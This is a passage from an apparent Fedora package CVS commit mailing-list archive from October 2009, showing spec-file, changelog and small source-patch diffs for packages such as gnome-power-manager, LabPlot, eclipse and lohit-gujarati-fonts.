@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -177,6 +177,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
+- Tweak OSD blurinness again
+
 * Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
 - Update from F-12 branch
 



From hadess at fedoraproject.org  Wed Oct 28 10:43:11 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 10:43:11 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Use-gnome-settings-daemon-popup-code.patch, 1.2,
	1.3 gnome-power-manager.spec, 1.179, 1.180
Message-ID: <20091028104311.BE6AC11C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27013

Modified Files:
	0001-Use-gnome-settings-daemon-popup-code.patch 
	gnome-power-manager.spec 
Log Message:
Fix patch application

0001-Use-gnome-settings-daemon-popup-code.patch:
 b/data/Makefile.am            |    3 
 b/data/acme.ui                |   41 +
 b/src/Makefile.am             |    5 
 b/src/gpm-backlight.c         |   39 +
 b/src/gsd-media-keys-window.c | 1109 ++++++++++++++++++++++++++++++++++++++++++
 b/src/gsd-media-keys-window.h |   70 ++
 src/gpm-popup-window.c        |  725 ---------------------------
 src/gpm-popup-window.h        |   61 --
 8 files changed, 1256 insertions(+), 797 deletions(-)

Index: 0001-Use-gnome-settings-daemon-popup-code.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/0001-Use-gnome-settings-daemon-popup-code.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 00:19:23 -0000	1.2
+++ 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 10:43:10 -0000	1.3
@@ -1,4 +1,4 @@
-From 06027e758cb2ae16671282e81266119d613d3349 Mon Sep 17 00:00:00 2001
+From d28e419aa83da01295f7c5729e87baa55996fb11 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 27 Oct 2009 23:33:46 +0000
 Subject: [PATCH] Use gnome-settings-daemon popup code
@@ -992,7 +992,7 @@ index ad3e33e..0000000
 -#endif
 diff --git a/src/gsd-media-keys-window.c b/src/gsd-media-keys-window.c
 new file mode 100644
-index 0000000..3f7bd3a
+index 0000000..80f4e4d
 --- /dev/null
 +++ b/src/gsd-media-keys-window.c
 @@ -0,0 +1,1109 @@
@@ -1632,16 +1632,16 @@ index 0000000..3f7bd3a
 +                   double              width,
 +                   double              height)
 +{
-+        gdouble  x1;
-+        GdkColor color;
-+        double   r, g, b;
++        gdouble   x1;
++        GdkColor  color;
++        double    r, g, b;
 +        GtkStyle *style;
 +
 +        _x0 += 0.5;
 +        _y0 += 0.5;
 +        height = round (height) - 1;
 +        width = round (width) - 1;
-+        x1 = round ((width - 2) * percentage);
++        x1 = round ((width - 1) * percentage);
 +        style = gtk_widget_get_style (GTK_WIDGET (window));
 +
 +        /* bar background */
@@ -1669,7 +1669,7 @@ index 0000000..3f7bd3a
 +        r = (float)color.red / 65535.0;
 +        g = (float)color.green / 65535.0;
 +        b = (float)color.blue / 65535.0;
-+        rounded_rectangle (cr, 1.0, _x0 + 0.5, _y0 + 0.5, height / 8, x1, height - 2);
++        rounded_rectangle (cr, 1.0, _x0 + 0.5, _y0 + 0.5, height / 6 - 0.5, x1, height - 1);
 +        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
 +        cairo_fill (cr);
 +}


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.179
retrieving revision 1.180
diff -u -p -r1.179 -r1.180
--- gnome-power-manager.spec	27 Oct 2009 23:43:19 -0000	1.179
+++ gnome-power-manager.spec	28 Oct 2009 10:43:11 -0000	1.180
@@ -23,6 +23,7 @@ Patch2: 0002-Make-the-left-and-right-but
 
 # https://bugzilla.gnome.org/show_bug.cgi?id=594664
 %define		_default_patch_fuzz 2
+BuildRequires: autoconf automake libtool
 Patch3: 0001-Use-gnome-settings-daemon-popup-code.patch
 
 BuildRequires: libwnck-devel
@@ -75,6 +76,7 @@ Extra GNOME power management application
 %patch1 -p1 -b .remove-help
 %patch2 -p1 -b .uni-menu
 %patch3 -p1 -b .osd
+autoreconf -i
 
 %build
 %configure \



From hadess at fedoraproject.org  Wed Oct 28 10:53:09 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 10:53:09 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12 gnome-power-manager.spec,1.180,1.181
Message-ID: <20091028105309.5785311C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28607

Modified Files:
	gnome-power-manager.spec 
Log Message:
fix filelist


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.180
retrieving revision 1.181
diff -u -p -r1.180 -r1.181
--- gnome-power-manager.spec	28 Oct 2009 10:43:11 -0000	1.180
+++ gnome-power-manager.spec	28 Oct 2009 10:53:08 -0000	1.181
@@ -165,6 +165,7 @@ fi
 %{_bindir}/gnome-power-manager
 %{_bindir}/gnome-power-preferences
 %dir %{_datadir}/gnome-power-manager
+%{_datadir}/gnome-power-manager/acme.ui
 %{_datadir}/gnome-power-manager/gpm-prefs.ui
 %{_datadir}/gnome-power-manager/gpm-feedback-widget.ui
 %{_mandir}/man1/gnome-power-manager.1.gz



From kkofler at fedoraproject.org  Wed Oct 28 10:57:56 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Wed, 28 Oct 2009 10:57:56 +0000 (UTC)
Subject: rpms/LabPlot/F-12 LabPlot-1.6.0.2-define-missing-constant.patch,
	NONE, 1.1 LabPlot.spec, 1.19, 1.20
Message-ID: <20091028105756.4FD4D11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29521/F-12

Modified Files:
	LabPlot.spec 
Added Files:
	LabPlot-1.6.0.2-define-missing-constant.patch 
Log Message:
* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-8
- fix FTBFS with current GSL (GSL_CONST_CGSM_GAUSS undefined, patch from Debian)

LabPlot-1.6.0.2-define-missing-constant.patch:
 constants.h |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE LabPlot-1.6.0.2-define-missing-constant.patch ---
diff --git a/src/constants.h b/src/constants.h
index 77d76bf..1bada49 100644
--- a/src/constants.h
+++ b/src/constants.h
@@ -17,6 +17,10 @@
 #endif
 #endif
 
+#ifndef GSL_CONST_CGSM_GAUSS
+#define GSL_CONST_CGSM_GAUSS (1e0) /* g / abamp s^2 */
+#endif
+
 #ifdef HAVE_R
 #include <R.h>
 #include <Rmath.h>


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/F-12/LabPlot.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- LabPlot.spec	24 Oct 2009 02:19:16 -0000	1.19
+++ LabPlot.spec	28 Oct 2009 10:57:56 -0000	1.20
@@ -1,6 +1,6 @@
 Name:              LabPlot
 Version:           1.6.0.2
-Release:           7%{?dist}
+Release:           8%{?dist}
 Summary:           Data Analysis and Visualization
 
 License:           GPLv2+
@@ -10,7 +10,8 @@ URL:               http://labplot.source
 BuildRoot:         %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Source0:           http://downloads.sourceforge.net/labplot/%{name}-%{version}.tar.bz2
 
-Patch2:            LabPlot-20080225.patch
+Patch0:            LabPlot-20080225.patch
+Patch1:            LabPlot-1.6.0.2-define-missing-constant.patch
 
 BuildRequires:     kdelibs3-devel libselinux-devel desktop-file-utils libexif-devel netcdf-devel
 BuildRequires:     gsl-devel ImageMagick-c++-devel fftw-devel jasper-devel qwtplot3d-devel
@@ -112,7 +113,8 @@ a Data Analysis and Visualization softwa
 %prep
 %setup -q -n %{name}-%{version}
 
-%patch2 -p1 -b .orig
+%patch0 -p1 -b .orig
+%patch1 -p1 -b .define-missing-constant
 
 
 %{__sed} -i.system-wide -e 's|\.\./liborigin/libLabPlotorigin.la||' src/Makefile.in
@@ -353,6 +355,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %Changelog
+* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-8
+- fix FTBFS with current GSL (GSL_CONST_CGSM_GAUSS undefined, patch from Debian)
+
 * Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
 - drop ExcludeArch ppc64, OCaml is available for ppc64 these days
 



From kkofler at fedoraproject.org  Wed Oct 28 10:57:56 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Wed, 28 Oct 2009 10:57:56 +0000 (UTC)
Subject: rpms/LabPlot/devel LabPlot-1.6.0.2-define-missing-constant.patch,
	NONE, 1.1 LabPlot.spec, 1.19, 1.20
Message-ID: <20091028105756.A0AE911C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29521/devel

Modified Files:
	LabPlot.spec 
Added Files:
	LabPlot-1.6.0.2-define-missing-constant.patch 
Log Message:
* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-8
- fix FTBFS with current GSL (GSL_CONST_CGSM_GAUSS undefined, patch from Debian)

LabPlot-1.6.0.2-define-missing-constant.patch:
 constants.h |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE LabPlot-1.6.0.2-define-missing-constant.patch ---
diff --git a/src/constants.h b/src/constants.h
index 77d76bf..1bada49 100644
--- a/src/constants.h
+++ b/src/constants.h
@@ -17,6 +17,10 @@
 #endif
 #endif
 
+#ifndef GSL_CONST_CGSM_GAUSS
+#define GSL_CONST_CGSM_GAUSS (1e0) /* g / abamp s^2 */
+#endif
+
 #ifdef HAVE_R
 #include <R.h>
 #include <Rmath.h>


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/devel/LabPlot.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- LabPlot.spec	24 Oct 2009 02:19:16 -0000	1.19
+++ LabPlot.spec	28 Oct 2009 10:57:56 -0000	1.20
@@ -1,6 +1,6 @@
 Name:              LabPlot
 Version:           1.6.0.2
-Release:           7%{?dist}
+Release:           8%{?dist}
 Summary:           Data Analysis and Visualization
 
 License:           GPLv2+
@@ -10,7 +10,8 @@ URL:               http://labplot.source
 BuildRoot:         %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Source0:           http://downloads.sourceforge.net/labplot/%{name}-%{version}.tar.bz2
 
-Patch2:            LabPlot-20080225.patch
+Patch0:            LabPlot-20080225.patch
+Patch1:            LabPlot-1.6.0.2-define-missing-constant.patch
 
 BuildRequires:     kdelibs3-devel libselinux-devel desktop-file-utils libexif-devel netcdf-devel
 BuildRequires:     gsl-devel ImageMagick-c++-devel fftw-devel jasper-devel qwtplot3d-devel
@@ -112,7 +113,8 @@ a Data Analysis and Visualization softwa
 %prep
 %setup -q -n %{name}-%{version}
 
-%patch2 -p1 -b .orig
+%patch0 -p1 -b .orig
+%patch1 -p1 -b .define-missing-constant
 
 
 %{__sed} -i.system-wide -e 's|\.\./liborigin/libLabPlotorigin.la||' src/Makefile.in
@@ -353,6 +355,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %Changelog
+* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-8
+- fix FTBFS with current GSL (GSL_CONST_CGSM_GAUSS undefined, patch from Debian)
+
 * Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
 - drop ExcludeArch ppc64, OCaml is available for ppc64 these days
 



From rdieter at fedoraproject.org  Wed Oct 28 11:05:17 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 28 Oct 2009 11:05:17 +0000 (UTC)
Subject: rpms/eric/devel eric.spec,1.50,1.51 eric4.desktop,1.1,1.2
Message-ID: <20091028110517.CC5EC11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/eric/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30765

Modified Files:
	eric.spec eric4.desktop 
Log Message:
* Wed Oct 28 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.8-2
- eric:desktop : drop deprecated Application category (#487800)



Index: eric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eric/devel/eric.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- eric.spec	16 Oct 2009 05:43:37 -0000	1.50
+++ eric.spec	28 Oct 2009 11:05:17 -0000	1.51
@@ -8,7 +8,7 @@
 Name:    eric
 Summary: Python IDE
 Version: 4.3.8
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPL+
 Group:   Development/Tools
@@ -152,6 +152,9 @@ rm -rf %{buildroot}
 %{_libdir}/qt4/qsci/api/ruby/*.api
 
 %changelog
+* Wed Oct 28 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.8-2
+- eric:desktop : drop deprecated Application category (#487800)
+
 * Fri Oct 16 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.8-1
 - 4.3.8
 


Index: eric4.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/eric/devel/eric4.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eric4.desktop	28 Jan 2008 21:47:46 -0000	1.1
+++ eric4.desktop	28 Oct 2009 11:05:17 -0000	1.2
@@ -6,4 +6,4 @@ Icon=eric4
 Terminal=false
 Type=Application
 Encoding=UTF-8
-Categories=Application;Development;
+Categories=Development;



From akurtakov at fedoraproject.org  Wed Oct 28 11:25:11 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Wed, 28 Oct 2009 11:25:11 +0000 (UTC)
Subject: rpms/eclipse-mylyn/devel eclipse-mylyn.spec,1.43,1.44
Message-ID: <20091028112512.0199F11C00E5@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-mylyn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3132/devel

Modified Files:
	eclipse-mylyn.spec 
Log Message:
CDT subpackage obsoletes eclipse-cdt-mylyn.


Index: eclipse-mylyn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/eclipse-mylyn.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- eclipse-mylyn.spec	27 Oct 2009 15:50:06 -0000	1.43
+++ eclipse-mylyn.spec	28 Oct 2009 11:25:11 -0000	1.44
@@ -11,7 +11,7 @@
 Name: eclipse-mylyn
 Summary: Mylyn is a task-focused UI for Eclipse
 Version: 3.3.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: EPL
 URL: http://www.eclipse.org/mylyn
 
@@ -129,6 +129,8 @@ Summary:  Mylyn Bridge:  C/C++ Developme
 Requires: %{name} = %{version}-%{release}
 Requires: eclipse-cdt
 Group: Development/Tools
+Provides: eclipse-cdt-mylyn = 1:6.0.1-5.fc13
+Obsoletes: eclipse-cdt-mylyn <= 1:6.0.1-5.fc13
 
 %description cdt
 Mylyn Task-Focused UI extensions for CDT.  Provides focusing of C/C++
@@ -335,6 +337,9 @@ rm -rf %{buildroot}
 # FIXME:  add the doc files back
 
 %changelog
+* Wed Oct 28 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-3
+- CDT subpackage obsoletes eclipse-cdt-mylyn.
+
 * Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-2
 - Fix cdt description. Bump qualifier to be newer than Galileo update site.
 



From akurtakov at fedoraproject.org  Wed Oct 28 11:47:32 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Wed, 28 Oct 2009 11:47:32 +0000 (UTC)
Subject: rpms/eclipse/F-12 eclipse.spec,1.670,1.671
Message-ID: <20091028114733.04D8D11C00E5@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7004/F-12

Modified Files:
	eclipse.spec 
Log Message:
- Don't install 2 desktop files. (rhbz #530450)


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse.spec,v
retrieving revision 1.670
retrieving revision 1.671
diff -u -p -r1.670 -r1.671
--- eclipse.spec	13 Oct 2009 12:49:05 -0000	1.670
+++ eclipse.spec	28 Oct 2009 11:47:31 -0000	1.671
@@ -29,7 +29,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -739,10 +739,6 @@ rm -rf $installDir
 # A sanity check.
 desktop-file-validate %{name}.desktop
 
-# freedesktop.org menu entry
-desktop-file-install --vendor="fedora" \
---dir=$RPM_BUILD_ROOT%{_datadir}/applications %{name}.desktop
-
 # Create a script that can be used to make a symlink tree of the
 # eclipse platform.
 cp -p pdebuild/eclipse-copy-platform.sh copy-platform
@@ -1164,6 +1160,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Wed Oct 28 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-2
+- Don't install 2 desktop files. (rhbz #530450)
+
 * Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-1
 - Update to 3.5.1.
 - Fixes crash issue with gtk 2.18.



From mso at fedoraproject.org  Wed Oct 28 12:00:03 2009
From: mso at fedoraproject.org (Martin Sourada)
Date: Wed, 28 Oct 2009 12:00:03 +0000 (UTC)
Subject: rpms/constantine-backgrounds/devel .cvsignore, 1.5,
	1.6 constantine-backgrounds.spec, 1.9, 1.10 sources, 1.5, 1.6
Message-ID: <20091028120003.89D8811C02C6@cvs1.fedora.phx.redhat.com>

Author: mso

Update of /cvs/extras/rpms/constantine-backgrounds/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8642

Modified Files:
	.cvsignore constantine-backgrounds.spec sources 
Log Message:


Sync with F12.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 20:03:57 -0000	1.5
+++ .cvsignore	28 Oct 2009 12:00:02 -0000	1.6
@@ -1 +1 @@
-constantine-backgrounds-12.0.0.tar.lzma
+constantine-backgrounds-12.1.0.tar.lzma


Index: constantine-backgrounds.spec
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/devel/constantine-backgrounds.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- constantine-backgrounds.spec	23 Oct 2009 19:33:18 -0000	1.9
+++ constantine-backgrounds.spec	28 Oct 2009 12:00:03 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           constantine-backgrounds
-Version:        12.0.0
-Release:        2%{?dist}
+Version:        12.1.0
+Release:        1%{?dist}
 Summary:        Constantine desktop backgrounds
 
 Group:          Applications/Multimedia
@@ -11,7 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 
-BuildRequires:  inkscape
+#BuildRequires:  inkscape
 # for %%_kde4_* macros
 BuildRequires:	kde-filesystem
 Requires:       %{name}-single = %{version}-%{release}
@@ -106,21 +106,22 @@ rm -rf $RPM_BUILD_ROOT
 
 %files kde
 %defattr(-,root,root,-)
-%{_kde4_datadir}/wallpapers/Constantine_Mosaico/
+%{_kde4_datadir}/wallpapers/Constantine/
 
-%if 0
 %files extras-kde
 %defattr(-,root,root,-)
+%{_kde4_datadir}/wallpapers/Constantine_mosaico/
 %{_kde4_datadir}/wallpapers/Constantine_4flowers/
-%{_kde4_datadir}/wallpapers/Constantine_4horses/
 %{_kde4_datadir}/wallpapers/Constantine_constantine/
-%{_kde4_datadir}/wallpapers/Constantine_freedom/
-%{_kde4_datadir}/wallpapers/Constantine_mosaic-bird/
-%{_kde4_datadir}/wallpapers/Constantine_preubas/
-%endif
+%{_kde4_datadir}/wallpapers/Constantine_pruebas/
+%{_kde4_datadir}/wallpapers/Constantine_rose/
+%{_kde4_datadir}/wallpapers/Constantine_rain/
 
 
 %changelog
+* Tue Oct 27 2009 Martin Sourada <mso at fedoraproject.org> - 12.1.0-1
+- New default, final extras selection, start building extras-kde subpackage
+
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 12.0.0-2
 - Provides: system-backgrounds(-kde) for F-12+ (until something else does)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 20:03:57 -0000	1.5
+++ sources	28 Oct 2009 12:00:03 -0000	1.6
@@ -1 +1 @@
-fc795aeeb4e164fe106ac965c261ad97  constantine-backgrounds-12.0.0.tar.lzma
+9122e87fdbd80747bd305b40df3e0db9  constantine-backgrounds-12.1.0.tar.lzma



From pravins at fedoraproject.org  Wed Oct 28 12:07:27 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 28 Oct 2009 12:07:27 +0000 (UTC)
Subject: rpms/lohit-gujarati-fonts/F-12 .cvsignore, 1.2,
	1.3 lohit-gujarati-fonts.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091028120727.9D2D311C00E5@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/lohit-gujarati-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9962

Modified Files:
	.cvsignore lohit-gujarati-fonts.spec sources 
Log Message:
* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.4-1
- upstream release wuth bugfix 529637
- update in upstream url



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Sep 2009 10:04:36 -0000	1.2
+++ .cvsignore	28 Oct 2009 12:07:27 -0000	1.3
@@ -1 +1,2 @@
 lohit-gujarati-2.4.3.tar.gz
+lohit-gujarati-2.4.4.tar.gz


Index: lohit-gujarati-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/F-12/lohit-gujarati-fonts.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lohit-gujarati-fonts.spec	25 Sep 2009 11:54:41 -0000	1.2
+++ lohit-gujarati-fonts.spec	28 Oct 2009 12:07:27 -0000	1.3
@@ -2,14 +2,14 @@
 %global fontconf 66-%{fontname}.conf
 
 Name:           %{fontname}-fonts
-Version:        2.4.3
-Release:        2%{?dist}
+Version:        2.4.4
+Release:        1%{?dist}
 Summary:        Free Gujarati font
 
 Group:          User Interface/X
 License:        GPLv2
 URL:            https://fedorahosted.org/lohit/
-Source0:        http://pravins.fedorapeople.org/lohit/gujarati/%{fontname}-%{version}.tar.gz
+Source0:        https://fedorahosted.org/releases/l/o/lohit/%{fontname}-%{version}.tar.gz
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch:      noarch
 BuildRequires: fontforge >= 20080429
@@ -53,6 +53,10 @@ rm -fr %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.4-1
+- upstream release wuth bugfix 529637
+- update in upstream url
+
 * Fri Sep 25 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.3-2
 - updated specs
 	


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Sep 2009 10:04:36 -0000	1.2
+++ sources	28 Oct 2009 12:07:27 -0000	1.3
@@ -1 +1 @@
-92dacc86836abbf69bfcc47c3e9ae669  lohit-gujarati-2.4.3.tar.gz
+9a3775f24e9772c365986dbd7cef2b94  lohit-gujarati-2.4.4.tar.gz



From pravins at fedoraproject.org  Wed Oct 28 12:11:46 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 28 Oct 2009 12:11:46 +0000 (UTC)
Subject: rpms/lohit-gujarati-fonts/devel .cvsignore, 1.2,
	1.3 lohit-gujarati-fonts.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091028121146.C1F2711C00E5@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/lohit-gujarati-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11062

Modified Files:
	.cvsignore lohit-gujarati-fonts.spec sources 
Log Message:
* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.4-1
- upstream release wuth bugfix 529637
- update in upstream url



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Sep 2009 10:04:36 -0000	1.2
+++ .cvsignore	28 Oct 2009 12:11:46 -0000	1.3
@@ -1 +1,2 @@
 lohit-gujarati-2.4.3.tar.gz
+lohit-gujarati-2.4.4.tar.gz


Index: lohit-gujarati-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/devel/lohit-gujarati-fonts.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lohit-gujarati-fonts.spec	25 Sep 2009 11:54:41 -0000	1.2
+++ lohit-gujarati-fonts.spec	28 Oct 2009 12:11:46 -0000	1.3
@@ -2,14 +2,14 @@
 %global fontconf 66-%{fontname}.conf
 
 Name:           %{fontname}-fonts
-Version:        2.4.3
-Release:        2%{?dist}
+Version:        2.4.4
+Release:        1%{?dist}
 Summary:        Free Gujarati font
 
 Group:          User Interface/X
 License:        GPLv2
 URL:            https://fedorahosted.org/lohit/
-Source0:        http://pravins.fedorapeople.org/lohit/gujarati/%{fontname}-%{version}.tar.gz
+Source0:        https://fedorahosted.org/releases/l/o/lohit/%{fontname}-%{version}.tar.gz
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch:      noarch
 BuildRequires: fontforge >= 20080429
@@ -53,6 +53,10 @@ rm -fr %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.4-1
+- upstream release wuth bugfix 529637
+- update in upstream url
+
 * Fri Sep 25 2009 Pravin Satpute <psatpute at redhat.com> - 2.4.3-2
 - updated specs
 	


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lohit-gujarati-fonts/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Sep 2009 10:04:36 -0000	1.2
+++ sources	28 Oct 2009 12:11:46 -0000	1.3
@@ -1 +1 @@
-92dacc86836abbf69bfcc47c3e9ae669  lohit-gujarati-2.4.3.tar.gz
+9a3775f24e9772c365986dbd7cef2b94  lohit-gujarati-2.4.4.tar.gz



From akurtakov at fedoraproject.org  Wed Oct 28 12:55:30 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Wed, 28 Oct 2009 12:55:30 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt-disable-mylyn.patch, NONE,
	1.1 .cvsignore, 1.48, 1.49 eclipse-cdt.spec, 1.139, 1.140
Message-ID: <20091028125530.86BA611C00E5@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21242/devel

Modified Files:
	.cvsignore eclipse-cdt.spec 
Added Files:
	eclipse-cdt-disable-mylyn.patch 
Log Message:
- Disable mylyn bridge build, part of eclipse-mylyn srpm now.

eclipse-cdt-disable-mylyn.patch:
 feature.xml |    4 ----
 1 file changed, 4 deletions(-)

--- NEW FILE eclipse-cdt-disable-mylyn.patch ---
--- org.eclipse.cdt.releng/results/features/org.eclipse.cdt.master/feature.xml.orig	2009-06-23 23:07:50.000000000 +0300
